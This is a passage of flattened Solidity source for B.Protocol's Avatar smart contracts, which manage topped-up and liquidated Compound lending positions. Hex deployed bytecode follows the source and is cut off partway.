(encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/bprotocol/interfaces/CTokenInterfaces.sol pragma solidity 0.5.16; contract CTokenInterface { /* ERC20 */ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function totalSupply() external view returns (uint256); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /* User Interface */ function isCToken() external view returns (bool); function underlying() external view returns (IERC20); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) public view returns (uint); function exchangeRateCurrent() public returns (uint); function exchangeRateStored() public view returns (uint); function getCash() external view returns (uint); function accrueInterest() public returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); } contract ICToken is CTokenInterface { /* User Interface */ function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); } // Workaround for issue https://github.com/ethereum/solidity/issues/526 // Defined separate contract as `mint()` override with `.value()` has issues contract ICErc20 is ICToken { function mint(uint mintAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, address cTokenCollateral) external returns (uint); } contract ICEther is ICToken { function mint() external payable; function repayBorrow() external payable; function repayBorrowBehalf(address borrower) external payable; function liquidateBorrow(address borrower, address cTokenCollateral) external payable; } contract IPriceOracle { /** * @notice Get the underlying price of a cToken asset * @param cToken The cToken to get the underlying price of * @return The underlying asset price mantissa (scaled by 1e18). * Zero means the price is unavailable. */ function getUnderlyingPrice(CTokenInterface cToken) external view returns (uint); } // File: contracts/bprotocol/avatar/AbsAvatarBase.sol pragma solidity 0.5.16; contract AbsAvatarBase is Exponential { using SafeERC20 for IERC20; IRegistry public registry; bool public quit; /* Storage for topup details */ // Topped up cToken ICToken public toppedUpCToken; // Topped up amount of tokens uint256 public toppedUpAmount; // Remaining max amount available for liquidation uint256 public remainingLiquidationAmount; // Liquidation cToken ICToken public liquidationCToken; modifier onlyAvatarOwner() { _allowOnlyAvatarOwner(); _; } function _allowOnlyAvatarOwner() internal view { require(msg.sender == registry.ownerOf(address(this)), "sender-not-owner"); } modifier onlyPool() { _allowOnlyPool(); _; } function _allowOnlyPool() internal view { require(msg.sender == pool(), "only-pool-authorized"); } modifier onlyBComptroller() { _allowOnlyBComptroller(); _; } function _allowOnlyBComptroller() internal view { require(msg.sender == registry.bComptroller(), "only-BComptroller-authorized"); } modifier postPoolOp(bool debtIncrease) { _; _reevaluate(debtIncrease); } function _initAvatarBase(address _registry) internal { require(registry == IRegistry(0x0), "avatar-already-init"); registry = IRegistry(_registry); } /** * @dev Hard check to ensure untop is allowed and then reset remaining liquidation amount */ function _hardReevaluate() internal { // Check: must allowed untop require(canUntop(), "cannot-untop"); // Reset it to force re-calculation remainingLiquidationAmount = 0; } /** * @dev Soft check and reset remaining liquidation amount */ function _softReevaluate() private { if(isPartiallyLiquidated()) { _hardReevaluate(); } } function _reevaluate(bool debtIncrease) private { if(debtIncrease) { _hardReevaluate(); } else { _softReevaluate(); } } function _isCEther(ICToken cToken) internal view returns (bool) { return address(cToken) == registry.cEther(); } function _score() internal view returns (IScore) { return IScore(registry.score()); } function toInt256(uint256 value) internal pure returns (int256) { int256 result = int256(value); require(result >= 0, "conversion-fail"); return result; } function isPartiallyLiquidated() public view returns (bool) { return remainingLiquidationAmount > 0; } function isToppedUp() public view returns (bool) { return toppedUpAmount > 0; } /** * @dev Checks if this Avatar can untop the amount. * @return `true` if allowed to borrow, `false` otherwise. */ function canUntop() public returns (bool) { // When not topped up, just return true if(!isToppedUp()) return true; IComptroller comptroller = IComptroller(registry.comptroller()); bool result = comptroller.borrowAllowed(address(toppedUpCToken), address(this), toppedUpAmount) == 0; return result; } function pool() public view returns (address payable) { return address(uint160(registry.pool())); } /** * @dev Returns the status if this Avatar's debt can be liquidated * @return `true` when this Avatar can be liquidated, `false` otherwise */ function canLiquidate() public returns (bool) { bool result = isToppedUp() && (remainingLiquidationAmount > 0) || (!canUntop()); return result; } // function reduce contract size function _ensureUserNotQuitB() internal view { require(! quit, "user-quit-B"); } /** * @dev Topup this avatar by repaying borrowings with ETH */ function topup() external payable onlyPool { _ensureUserNotQuitB(); address cEtherAddr = registry.cEther(); // when already topped bool _isToppedUp = isToppedUp(); if(_isToppedUp) { require(address(toppedUpCToken) == cEtherAddr, "already-topped-other-cToken"); } // 2. Repay borrows from Pool to topup ICEther cEther = ICEther(cEtherAddr); cEther.repayBorrow.value(msg.value)(); // 3. Store Topped-up details if(! _isToppedUp) toppedUpCToken = cEther; toppedUpAmount = add_(toppedUpAmount, msg.value); } /** * @dev Topup the borrowed position of this Avatar by repaying borrows from the pool * @notice Only Pool contract allowed to call the topup. * @param cToken CToken address to use to RepayBorrows * @param topupAmount Amount of tokens to Topup */ function topup(ICErc20 cToken, uint256 topupAmount) external onlyPool { _ensureUserNotQuitB(); // when already topped bool _isToppedUp = isToppedUp(); if(_isToppedUp) { require(toppedUpCToken == cToken, "already-topped-other-cToken"); } // 1. Transfer funds from the Pool contract IERC20 underlying = cToken.underlying(); underlying.safeTransferFrom(pool(), address(this), topupAmount); underlying.safeApprove(address(cToken), topupAmount); // 2. Repay borrows from Pool to topup require(cToken.repayBorrow(topupAmount) == 0, "RepayBorrow-fail"); // 3. Store Topped-up details if(! _isToppedUp) toppedUpCToken = cToken; toppedUpAmount = add_(toppedUpAmount, topupAmount); } function untop(uint amount) external onlyPool { _untop(amount, amount); } /** * @dev Untop the borrowed position of this Avatar by borrowing from Compound and transferring * it to the pool. * @notice Only Pool contract allowed to call the untop. */ function _untop(uint amount, uint amountToBorrow) internal { // when already untopped if(!isToppedUp()) return; // 1. Udpdate storage for toppedUp details require(toppedUpAmount >= amount, "amount>=toppedUpAmount"); toppedUpAmount = sub_(toppedUpAmount, amount); if((toppedUpAmount == 0) && (remainingLiquidationAmount > 0)) remainingLiquidationAmount = 0; // 2. Borrow from Compound and send tokens to Pool if(amountToBorrow > 0 ) require(toppedUpCToken.borrow(amountToBorrow) == 0, "borrow-fail"); if(address(toppedUpCToken) == registry.cEther()) { // 3. Send borrowed ETH to Pool contract // Sending ETH to Pool using `.send()` to avoid DoS attack bool success = pool().send(amount); success; // shh: Not checking return value to avoid DoS attack } else { // 3. Transfer borrowed amount to Pool contract IERC20 underlying = toppedUpCToken.underlying(); underlying.safeTransfer(pool(), amount); } } function _untop() internal { // when already untopped if(!isToppedUp()) return; _untop(toppedUpAmount, toppedUpAmount); } function _untopBeforeRepay(ICToken cToken, uint256 repayAmount) internal returns (uint256 amtToRepayOnCompound) { if(toppedUpAmount > 0 && cToken == toppedUpCToken) { // consume debt from cushion first uint256 amtToUntopFromB = repayAmount >= toppedUpAmount ? toppedUpAmount : repayAmount; _untop(toppedUpAmount, sub_(toppedUpAmount, amtToUntopFromB)); amtToRepayOnCompound = sub_(repayAmount, amtToUntopFromB); } else { amtToRepayOnCompound = repayAmount; } } function _doLiquidateBorrow( ICToken debtCToken, uint256 underlyingAmtToLiquidate, uint256 amtToDeductFromTopup, ICToken collCToken ) internal onlyPool returns (uint256) { address payable poolContract = pool(); // 1. Is toppedUp OR partially liquidated bool partiallyLiquidated = isPartiallyLiquidated(); require(isToppedUp() || partiallyLiquidated, "cant-perform-liquidateBorrow"); if(partiallyLiquidated) { require(debtCToken == liquidationCToken, "debtCToken!=liquidationCToken"); } else { require(debtCToken == toppedUpCToken, "debtCToken!=toppedUpCToken"); liquidationCToken = debtCToken; } if(!partiallyLiquidated) { remainingLiquidationAmount = getMaxLiquidationAmount(debtCToken); } // 2. `underlayingAmtToLiquidate` is under limit require(underlyingAmtToLiquidate <= remainingLiquidationAmount, "amountToLiquidate-too-big"); // 3. Liquidator perform repayBorrow require(underlyingAmtToLiquidate >= amtToDeductFromTopup, "amtToDeductFromTopup>underlyingAmtToLiquidate"); uint256 amtToRepayOnCompound = sub_(underlyingAmtToLiquidate, amtToDeductFromTopup); if(amtToRepayOnCompound > 0) { bool isCEtherDebt = _isCEther(debtCToken); if(isCEtherDebt) { // CEther require(msg.value == amtToRepayOnCompound, "insuffecient-ETH-sent"); ICEther cEther = ICEther(registry.cEther()); cEther.repayBorrow.value(amtToRepayOnCompound)(); } else { // CErc20 // take tokens from pool contract IERC20 underlying = toppedUpCToken.underlying(); underlying.safeTransferFrom(poolContract, address(this), amtToRepayOnCompound); underlying.safeApprove(address(debtCToken), amtToRepayOnCompound); require(ICErc20(address(debtCToken)).repayBorrow(amtToRepayOnCompound) == 0, "repayBorrow-fail"); } } require(toppedUpAmount >= amtToDeductFromTopup, "amtToDeductFromTopup>toppedUpAmount"); toppedUpAmount = sub_(toppedUpAmount, amtToDeductFromTopup); // 4.1 Update remaining liquidation amount remainingLiquidationAmount = sub_(remainingLiquidationAmount, underlyingAmtToLiquidate); // 5. Calculate premium and transfer to Liquidator IComptroller comptroller = IComptroller(registry.comptroller()); (uint err, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens( address(debtCToken), address(collCToken), underlyingAmtToLiquidate ); require(err == 0, "err-liquidateCalculateSeizeTokens"); // 6. Transfer permiumAmount to liquidator require(collCToken.transfer(poolContract, seizeTokens), "collCToken-xfr-fail"); return seizeTokens; } function getMaxLiquidationAmount(ICToken debtCToken) public returns (uint256) { if(isPartiallyLiquidated()) return remainingLiquidationAmount; uint256 avatarDebt = debtCToken.borrowBalanceCurrent(address(this)); // `toppedUpAmount` is also called poolDebt; uint256 totalDebt = add_(avatarDebt, toppedUpAmount); // When First time liquidation is performed after topup // maxLiquidationAmount = closeFactorMantissa * totalDedt / 1e18; IComptroller comptroller = IComptroller(registry.comptroller()); return mulTrucate(comptroller.closeFactorMantissa(), totalDebt); } function splitAmountToLiquidate( uint256 underlyingAmtToLiquidate, uint256 maxLiquidationAmount ) public view returns (uint256 amtToDeductFromTopup, uint256 amtToRepayOnCompound) { // underlyingAmtToLiqScalar = underlyingAmtToLiquidate * 1e18 (MathError mErr, Exp memory result) = mulScalar(Exp({mantissa: underlyingAmtToLiquidate}), expScale); require(mErr == MathError.NO_ERROR, "underlyingAmtToLiqScalar-fail"); uint underlyingAmtToLiqScalar = result.mantissa; // percent = underlyingAmtToLiqScalar / maxLiquidationAmount uint256 percentInScale = div_(underlyingAmtToLiqScalar, maxLiquidationAmount); // amtToDeductFromTopup = toppedUpAmount * percentInScale / 1e18 amtToDeductFromTopup = mulTrucate(toppedUpAmount, percentInScale); // amtToRepayOnCompound = underlyingAmtToLiquidate - amtToDeductFromTopup amtToRepayOnCompound = sub_(underlyingAmtToLiquidate, amtToDeductFromTopup); } /** * @dev Off-chain function to calculate `amtToDeductFromTopup` and `amtToRepayOnCompound` * @notice function is non-view but no-harm as CToken.borrowBalanceCurrent() only updates accured interest */ function calcAmountToLiquidate( ICToken debtCToken, uint256 underlyingAmtToLiquidate ) external returns (uint256 amtToDeductFromTopup, uint256 amtToRepayOnCompound) { uint256 amountToLiquidate = remainingLiquidationAmount; if(! isPartiallyLiquidated()) { amountToLiquidate = getMaxLiquidationAmount(debtCToken); } (amtToDeductFromTopup, amtToRepayOnCompound) = splitAmountToLiquidate(underlyingAmtToLiquidate, amountToLiquidate); } function quitB() external onlyAvatarOwner() { quit = true; _hardReevaluate(); } } // File: contracts/bprotocol/interfaces/IBToken.sol pragma solidity 0.5.16; interface IBToken { function cToken() external view returns (address); function borrowBalanceCurrent(address account) external returns (uint); function balanceOfUnderlying(address owner) external returns (uint); } // File: contracts/bprotocol/avatar/AbsComptroller.sol pragma solidity 0.5.16; /** * @title Abstract Comptroller contract for Avatar */ contract AbsComptroller is AbsAvatarBase { function enterMarket(address bToken) external onlyBComptroller returns (uint256) { address cToken = IBToken(bToken).cToken(); return _enterMarket(cToken); } function _enterMarket(address cToken) internal postPoolOp(false) returns (uint256) { address[] memory cTokens = new address[](1); cTokens[0] = cToken; return _enterMarkets(cTokens)[0]; } function enterMarkets(address[] calldata bTokens) external onlyBComptroller returns (uint256[] memory) { address[] memory cTokens = new address[](bTokens.length); for(uint256 i = 0; i < bTokens.length; i++) { cTokens[i] = IBToken(bTokens[i]).cToken(); } return _enterMarkets(cTokens); } function _enterMarkets(address[] memory cTokens) internal postPoolOp(false) returns (uint256[] memory) { IComptroller comptroller = IComptroller(registry.comptroller()); uint256[] memory result = comptroller.enterMarkets(cTokens); for(uint256 i = 0; i < result.length; i++) { require(result[i] == 0, "enter-markets-fail"); } return result; } function exitMarket(IBToken bToken) external onlyBComptroller postPoolOp(true) returns (uint256) { address cToken = bToken.cToken(); IComptroller comptroller = IComptroller(registry.comptroller()); uint result = comptroller.exitMarket(cToken); _disableCToken(cToken); return result; } function _disableCToken(address cToken) internal { ICToken(cToken).underlying().safeApprove(cToken, 0); } function claimComp() external onlyBComptroller { IComptroller comptroller = IComptroller(registry.comptroller()); comptroller.claimComp(address(this)); transferCOMP(); } function claimComp(address[] calldata bTokens) external onlyBComptroller { address[] memory cTokens = new address[](bTokens.length); for(uint256 i = 0; i < bTokens.length; i++) { cTokens[i] = IBToken(bTokens[i]).cToken(); } IComptroller comptroller = IComptroller(registry.comptroller()); comptroller.claimComp(address(this), cTokens); transferCOMP(); } function claimComp( address[] calldata bTokens, bool borrowers, bool suppliers ) external onlyBComptroller { address[] memory cTokens = new address[](bTokens.length); for(uint256 i = 0; i < bTokens.length; i++) { cTokens[i] = IBToken(bTokens[i]).cToken(); } address[] memory holders = new address[](1); holders[0] = address(this); IComptroller comptroller = IComptroller(registry.comptroller()); comptroller.claimComp(holders, cTokens, borrowers, suppliers); transferCOMP(); } function transferCOMP() public { address owner = registry.ownerOf(address(this)); IERC20 comp = IERC20(registry.comp()); comp.safeTransfer(owner, comp.balanceOf(address(this))); } function getAccountLiquidity(address oracle) external view returns (uint err, uint liquidity, uint shortFall) { return _getAccountLiquidity(oracle); } function getAccountLiquidity() external view returns (uint err, uint liquidity, uint shortFall) { IComptroller comptroller = IComptroller(registry.comptroller()); return _getAccountLiquidity(comptroller.oracle()); } function _getAccountLiquidity(address oracle) internal view returns (uint err, uint liquidity, uint shortFall) { IComptroller comptroller = IComptroller(registry.comptroller()); // If not topped up, get the account liquidity from Comptroller (err, liquidity, shortFall) = comptroller.getAccountLiquidity(address(this)); if(!isToppedUp()) { return (err, liquidity, shortFall); } require(err == 0, "Err-in-account-liquidity"); uint256 price = IPriceOracle(oracle).getUnderlyingPrice(toppedUpCToken); uint256 toppedUpAmtInUSD = mulTrucate(toppedUpAmount, price); // liquidity = 0 and shortFall = 0 if(liquidity == toppedUpAmtInUSD) return(0, 0, 0); // when shortFall = 0 if(shortFall == 0 && liquidity > 0) { if(liquidity > toppedUpAmtInUSD) { liquidity = sub_(liquidity, toppedUpAmtInUSD); } else { shortFall = sub_(toppedUpAmtInUSD, liquidity); liquidity = 0; } } else { // Handling case when compound returned liquidity = 0 and shortFall >= 0 shortFall = add_(shortFall, toppedUpAmtInUSD); } } } // File: contracts/bprotocol/interfaces/IAvatar.sol pragma solidity 0.5.16; contract IAvatarERC20 { function transfer(address cToken, address dst, uint256 amount) external returns (bool); function transferFrom(address cToken, address src, address dst, uint256 amount) external returns (bool); function approve(address cToken, address spender, uint256 amount) public returns (bool); } contract IAvatar is IAvatarERC20 { function initialize(address _registry, address comp, address compVoter) external; function quit() external returns (bool); function canUntop() public returns (bool); function toppedUpCToken() external returns (address); function toppedUpAmount() external returns (uint256); function redeem(address cToken, uint256 redeemTokens, address payable userOrDelegatee) external returns (uint256); function redeemUnderlying(address cToken, uint256 redeemAmount, address payable userOrDelegatee) external returns (uint256); function borrow(address cToken, uint256 borrowAmount, address payable userOrDelegatee) external returns (uint256); function borrowBalanceCurrent(address cToken) external returns (uint256); function collectCToken(address cToken, address from, uint256 cTokenAmt) public; function liquidateBorrow(uint repayAmount, address cTokenCollateral) external payable returns (uint256); // Comptroller functions function enterMarket(address cToken) external returns (uint256); function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory); function exitMarket(address cToken) external returns (uint256); function claimComp() external; function claimComp(address[] calldata bTokens) external; function claimComp(address[] calldata bTokens, bool borrowers, bool suppliers) external; function getAccountLiquidity() external view returns (uint err, uint liquidity, uint shortFall); } // Workaround for issue https://github.com/ethereum/solidity/issues/526 // CEther contract IAvatarCEther is IAvatar { function mint() external payable; function repayBorrow() external payable; function repayBorrowBehalf(address borrower) external payable; } // CErc20 contract IAvatarCErc20 is IAvatar { function mint(address cToken, uint256 mintAmount) external returns (uint256); function repayBorrow(address cToken, uint256 repayAmount) external returns (uint256); function repayBorrowBehalf(address cToken, address borrower, uint256 repayAmount) external returns (uint256); } contract ICushion { function liquidateBorrow(uint256 underlyingAmtToLiquidate, uint256 amtToDeductFromTopup, address cTokenCollateral) external payable returns (uint256); function canLiquidate() external returns (bool); function untop(uint amount) external; function toppedUpAmount() external returns (uint); function remainingLiquidationAmount() external returns(uint); function getMaxLiquidationAmount(address debtCToken) public returns (uint256); } contract ICushionCErc20 is ICushion { function topup(address cToken, uint256 topupAmount) external; } contract ICushionCEther is ICushion { function topup() external payable; } // File: contracts/bprotocol/interfaces/IBComptroller.sol pragma solidity 0.5.16; interface IBComptroller { function isCToken(address cToken) external view returns (bool); function isBToken(address bToken) external view returns (bool); function c2b(address cToken) external view returns (address); function b2c(address bToken) external view returns (address); } // File: contracts/bprotocol/avatar/AbsCToken.sol pragma solidity 0.5.16; contract AbsCToken is AbsAvatarBase { modifier onlyBToken() { _allowOnlyBToken(); _; } function _allowOnlyBToken() internal view { require(isValidBToken(msg.sender), "only-BToken-authorized"); } function isValidBToken(address bToken) internal view returns (bool) { IBComptroller bComptroller = IBComptroller(registry.bComptroller()); return bComptroller.isBToken(bToken); } function borrowBalanceCurrent(ICToken cToken) public onlyBToken returns (uint256) { uint256 borrowBalanceCurr = cToken.borrowBalanceCurrent(address(this)); if(toppedUpCToken == cToken) return add_(borrowBalanceCurr, toppedUpAmount); return borrowBalanceCurr; } function _toUnderlying(ICToken cToken, uint256 redeemTokens) internal returns (uint256) { uint256 exchangeRate = cToken.exchangeRateCurrent(); return mulTrucate(redeemTokens, exchangeRate); } // CEther // ====== function mint() public payable onlyBToken postPoolOp(false) { ICEther cEther = ICEther(registry.cEther()); cEther.mint.value(msg.value)(); // fails on compound in case of err if(! quit) _score().updateCollScore(address(this), address(cEther), toInt256(msg.value)); } function repayBorrow() external payable onlyBToken postPoolOp(false) { ICEther cEther = ICEther(registry.cEther()); uint256 amtToRepayOnCompound = _untopBeforeRepay(cEther, msg.value); if(amtToRepayOnCompound > 0) cEther.repayBorrow.value(amtToRepayOnCompound)(); // fails on compound in case of err if(! quit) _score().updateDebtScore(address(this), address(cEther), -toInt256(msg.value)); } // CErc20 // ====== function mint(ICErc20 cToken, uint256 mintAmount) public onlyBToken postPoolOp(false) returns (uint256) { IERC20 underlying = cToken.underlying(); underlying.safeApprove(address(cToken), mintAmount); uint result = cToken.mint(mintAmount); require(result == 0, "mint-fail"); if(! quit) _score().updateCollScore(address(this), address(cToken), toInt256(mintAmount)); return result; } function repayBorrow(ICErc20 cToken, uint256 repayAmount) external onlyBToken postPoolOp(false) returns (uint256) { uint256 amtToRepayOnCompound = _untopBeforeRepay(cToken, repayAmount); uint256 result = 0; if(amtToRepayOnCompound > 0) { IERC20 underlying = cToken.underlying(); // use resetApprove() in case ERC20.approve() has front-running attack protection underlying.safeApprove(address(cToken), amtToRepayOnCompound); result = cToken.repayBorrow(amtToRepayOnCompound); require(result == 0, "repayBorrow-fail"); if(! quit) _score().updateDebtScore(address(this), address(cToken), -toInt256(repayAmount)); } return result; // in case of err, tx fails at BToken } // CEther / CErc20 // =============== function liquidateBorrow( uint256 underlyingAmtToLiquidateDebt, uint256 amtToDeductFromTopup, ICToken cTokenColl ) external payable returns (uint256) { // 1. Can liquidate? require(canLiquidate(), "cant-liquidate"); ICToken cTokenDebt = toppedUpCToken; uint256 seizedCTokensColl = _doLiquidateBorrow(cTokenDebt, underlyingAmtToLiquidateDebt, amtToDeductFromTopup, cTokenColl); // Convert seizedCToken to underlyingTokens uint256 underlyingSeizedTokensColl = _toUnderlying(cTokenColl, seizedCTokensColl); if(! quit) { IScore score = _score(); score.updateCollScore(address(this), address(cTokenColl), -toInt256(underlyingSeizedTokensColl)); score.updateDebtScore(address(this), address(cTokenDebt), -toInt256(underlyingAmtToLiquidateDebt)); } return 0; } function redeem( ICToken cToken, uint256 redeemTokens, address payable userOrDelegatee ) external onlyBToken postPoolOp(true) returns (uint256) { uint256 result = cToken.redeem(redeemTokens); require(result == 0, "redeem-fail"); uint256 underlyingRedeemAmount = _toUnderlying(cToken, redeemTokens); if(! quit) _score().updateCollScore(address(this), address(cToken), -toInt256(underlyingRedeemAmount)); // Do the fund transfer at last if(_isCEther(cToken)) { userOrDelegatee.transfer(address(this).balance); } else { IERC20 underlying = cToken.underlying(); uint256 redeemedAmount = underlying.balanceOf(address(this)); underlying.safeTransfer(userOrDelegatee, redeemedAmount); } return result; } function redeemUnderlying( ICToken cToken, uint256 redeemAmount, address payable userOrDelegatee ) external onlyBToken postPoolOp(true) returns (uint256) { uint256 result = cToken.redeemUnderlying(redeemAmount); require(result == 0, "redeemUnderlying-fail"); if(! quit) _score().updateCollScore(address(this), address(cToken), -toInt256(redeemAmount)); // Do the fund transfer at last if(_isCEther(cToken)) { userOrDelegatee.transfer(redeemAmount); } else { IERC20 underlying = cToken.underlying(); underlying.safeTransfer(userOrDelegatee, redeemAmount); } return result; } function borrow( ICToken cToken, uint256 borrowAmount, address payable userOrDelegatee ) external onlyBToken postPoolOp(true) returns (uint256) { uint256 result = cToken.borrow(borrowAmount); require(result == 0, "borrow-fail"); if(! quit) _score().updateDebtScore(address(this), address(cToken), toInt256(borrowAmount)); // send funds at last if(_isCEther(cToken)) { userOrDelegatee.transfer(borrowAmount); } else { IERC20 underlying = cToken.underlying(); underlying.safeTransfer(userOrDelegatee, borrowAmount); } return result; } // ERC20 // ====== function transfer(ICToken cToken, address dst, uint256 amount) public onlyBToken postPoolOp(true) returns (bool) { address dstAvatar = registry.getAvatar(dst); bool result = cToken.transfer(dstAvatar, amount); require(result, "transfer-fail"); uint256 underlyingRedeemAmount = _toUnderlying(cToken, amount); IScore score = _score(); if(! quit) score.updateCollScore(address(this), address(cToken), -toInt256(underlyingRedeemAmount)); if(! IAvatar(dstAvatar).quit()) score.updateCollScore(dstAvatar, address(cToken), toInt256(underlyingRedeemAmount)); return result; } function transferFrom(ICToken cToken, address src, address dst, uint256 amount) public onlyBToken postPoolOp(true) returns (bool) { address srcAvatar = registry.getAvatar(src); address dstAvatar = registry.getAvatar(dst); bool result = cToken.transferFrom(srcAvatar, dstAvatar, amount); require(result, "transferFrom-fail"); require(IAvatar(srcAvatar).canUntop(), "insuffecient-fund-at-src"); uint256 underlyingRedeemAmount = _toUnderlying(cToken, amount); IScore score = _score(); if(! IAvatar(srcAvatar).quit()) score.updateCollScore(srcAvatar, address(cToken), -toInt256(underlyingRedeemAmount)); if(! IAvatar(dstAvatar).quit()) score.updateCollScore(dstAvatar, address(cToken), toInt256(underlyingRedeemAmount)); return result; } function approve(ICToken cToken, address spender, uint256 amount) public onlyBToken returns (bool) { address spenderAvatar = registry.getAvatar(spender); return cToken.approve(spenderAvatar, amount); } function collectCToken(ICToken cToken, address from, uint256 cTokenAmt) public postPoolOp(false) { // `from` should not be an avatar require(registry.ownerOf(from) == address(0), "from-is-an-avatar"); require(cToken.transferFrom(from, address(this), cTokenAmt), "transferFrom-fail"); uint256 underlyingAmt = _toUnderlying(cToken, cTokenAmt); if(! quit) _score().updateCollScore(address(this), address(cToken), toInt256(underlyingAmt)); } /** * @dev Fallback to receieve ETH from CEther contract on `borrow()`, `redeem()`, `redeemUnderlying` */ function () external payable { // Receive ETH } } // File: contracts/bprotocol/interfaces/IComp.sol pragma solidity 0.5.16; interface IComp { function delegate(address delegatee) external; } // File: contracts/bprotocol/avatar/Avatar.sol pragma solidity 0.5.16; contract ProxyStorage { address internal masterCopy; } /** * @title An Avatar contract deployed per account. The contract holds cTokens and directly interacts * with Compound finance. * @author Smart Future Labs Ltd. */ contract Avatar is ProxyStorage, AbsComptroller, AbsCToken { // @NOTICE: NO CONSTRUCTOR AS ITS USED AS AN IMPLEMENTATION CONTRACT FOR PROXY /** * @dev Initialize the contract variables * @param _registry Registry contract address */ function initialize(address _registry, address /*comp*/, address /*compVoter*/) external { _initAvatarBase(_registry); } //override /** * @dev Mint cETH using ETH and enter market on Compound * @notice onlyBToken can call this function, as `super.mint()` is protected with `onlyBToken` modifier */ function mint() public payable { ICEther cEther = ICEther(registry.cEther()); require(_enterMarket(address(cEther)) == 0, "enterMarket-fail"); super.mint(); } //override /** * @dev Mint cToken for ERC20 and enter market on Compound * @notice onlyBToken can call this function, as `super.mint()` is protected with `onlyBToken` modifier */ function mint(ICErc20 cToken, uint256 mintAmount) public returns (uint256) { require(_enterMarket(address(cToken)) == 0, "enterMarket-fail"); uint256 result = super.mint(cToken, mintAmount); return result; } // EMERGENCY FUNCTIONS function emergencyCall(address payable target, bytes calldata data) external payable onlyAvatarOwner { uint first4Bytes = uint(uint8(data[0])) << 24 | uint(uint8(data[1])) << 16 | uint(uint8(data[2])) << 8 | uint(uint8(data[3])) << 0; bytes4 functionSig = bytes4(uint32(first4Bytes)); require(quit || registry.whitelistedAvatarCalls(target, functionSig), "not-listed"); (bool succ, bytes memory err) = target.call.value(msg.value)(data); require(succ, string(err)); } }
0x6080604052600436106102515760003560e01c8063601a1ab811610139578063beabacc8116100b6578063da74dba81161007a578063da74dba8146109c7578063dd0c4d3f146109dc578063e0be8d8914610a57578063e1f21c6714610a6c578063ede4edd014610aaf578063fc2b8cc314610ae257610251565b8063beabacc8146107e1578063c0c53b8b14610824578063c299823814610869578063c4bf022014610934578063cd13ee77146109b257610251565b806372be4b3e116100fd57806372be4b3e1461070857806374dc0a631461074b5780637b10399914610760578063abdb5ea814610775578063b4c55f74146107ae57610251565b8063601a1ab814610669578063669a6ba81461069357806369774c2d146106a85780636c4e80b6146106b05780636c665a55146106c557610251565b80632fd4cda7116101d257806340c10f191161019657806340c10f19146105885780634e4d9fea146105c157806358e3b8f8146105c95780635c833bfd146105de5780635eac54aa146106215780635ec88c791461063657610251565b80632fd4cda71461046d57806334f496ab146104a057806338d631a7146104e35780633b0a08a01461051c5780633fe5d4251461055557610251565b806317bfdfbc1161021957806317bfdfbc146103425780631bd85bdb14610375578063209cc5ac1461038a57806329e689de146103d35780632a432c8d1461045857610251565b8063057921f214610253578063077da5ea146102975780631249c58b146102ac57806315dacbea146102b457806316f0115b14610311575b005b6102856004803603606081101561026957600080fd5b50803590602081013590604001356001600160a01b0316610af7565b60408051918252519081900360200190f35b3480156102a357600080fd5b50610285610cac565b610251610cb2565b3480156102c057600080fd5b506102fd600480360360808110156102d757600080fd5b506001600160a01b03813581169160208101358216916040820135169060600135610d7d565b604080519115158252519081900360200190f35b34801561031d57600080fd5b5061032661123f565b604080516001600160a01b039092168252519081900360200190f35b34801561034e57600080fd5b506102856004803603602081101561036557600080fd5b50356001600160a01b03166112b6565b34801561038157600080fd5b5061025161136c565b34801561039657600080fd5b506103ba600480360360408110156103ad57600080fd5b5080359060200135611450565b6040805192835260208301919091528051918290030190f35b3480156103df57600080fd5b50610251600480360360608110156103f657600080fd5b810190602081018135600160201b81111561041057600080fd5b82018360208201111561042257600080fd5b803590602001918460208302840111600160201b8311171561044357600080fd5b91935091508035151590602001351515611517565b34801561046457600080fd5b506103266117c8565b34801561047957600080fd5b506104826117d7565b60408051938452602084019290925282820152519081900360600190f35b3480156104ac57600080fd5b50610285600480360360608110156104c357600080fd5b506001600160a01b038135811691602081013591604090910135166118db565b3480156104ef57600080fd5b506102516004803603604081101561050657600080fd5b506001600160a01b038135169060200135611b2b565b34801561052857600080fd5b506103ba6004803603604081101561053f57600080fd5b506001600160a01b038135169060200135611d42565b34801561056157600080fd5b506102856004803603602081101561057857600080fd5b50356001600160a01b0316611d78565b34801561059457600080fd5b50610285600480360360408110156105ab57600080fd5b506001600160a01b038135169060200135611df4565b610251611e5a565b3480156105d557600080fd5b506102fd611ff6565b3480156105ea57600080fd5b506102856004803603606081101561060157600080fd5b506001600160a01b03813581169160208101359160409091013516611ffe565b34801561062d57600080fd5b506102856122c3565b34801561064257600080fd5b506104826004803603602081101561065957600080fd5b50356001600160a01b03166122c9565b34801561067557600080fd5b506102516004803603602081101561068c57600080fd5b50356122e5565b34801561069f57600080fd5b506102516122f7565b61025161247c565b3480156106bc57600080fd5b506102fd612600565b3480156106d157600080fd5b50610285600480360360608110156106e857600080fd5b506001600160a01b038135811691602081013591604090